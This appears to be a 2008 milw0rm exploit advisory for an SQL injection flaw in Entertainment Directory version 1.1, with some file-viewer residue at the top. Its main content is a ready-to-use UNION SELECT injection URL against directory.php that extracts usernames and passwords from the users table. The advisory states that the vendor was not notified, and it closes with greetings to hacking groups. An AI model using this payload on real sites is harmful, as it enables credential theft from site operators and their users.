35 lines
No EOL
1.1 KiB
Text
35 lines
No EOL
1.1 KiB
Text
--==+================================================================================+==--
|
|
--==+ Entertainment Directory <= 1.1 SQL Injection Vulnerbility +==--
|
|
--==+================================================================================+==--
|
|
|
|
|
|
|
|
Discovered By: t0pP8uZz & xprog
|
|
Discovered On: 5 April 2008
|
|
Script Download: http://www.turnkeyzone.com
|
|
DORK: N/A
|
|
Vendor Has Not Been Notified!
|
|
|
|
|
|
DESCRIPTION:
|
|
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
|
|
to obtain user credentials from the database.
|
|
|
|
|
|
EXPLOITS:
|
|
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*
|
|
|
|
|
|
|
|
NOTE/TIP:
|
|
|
|
|
|
GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!
|
|
|
|
|
|
|
|
--==+================================================================================+==--
|
|
--==+ Entertainment Directory <= 1.1 SQL Injection Vulnerbility +==--
|
|
--==+================================================================================+==--
|
|
|
|
# milw0rm.com [2008-04-05] |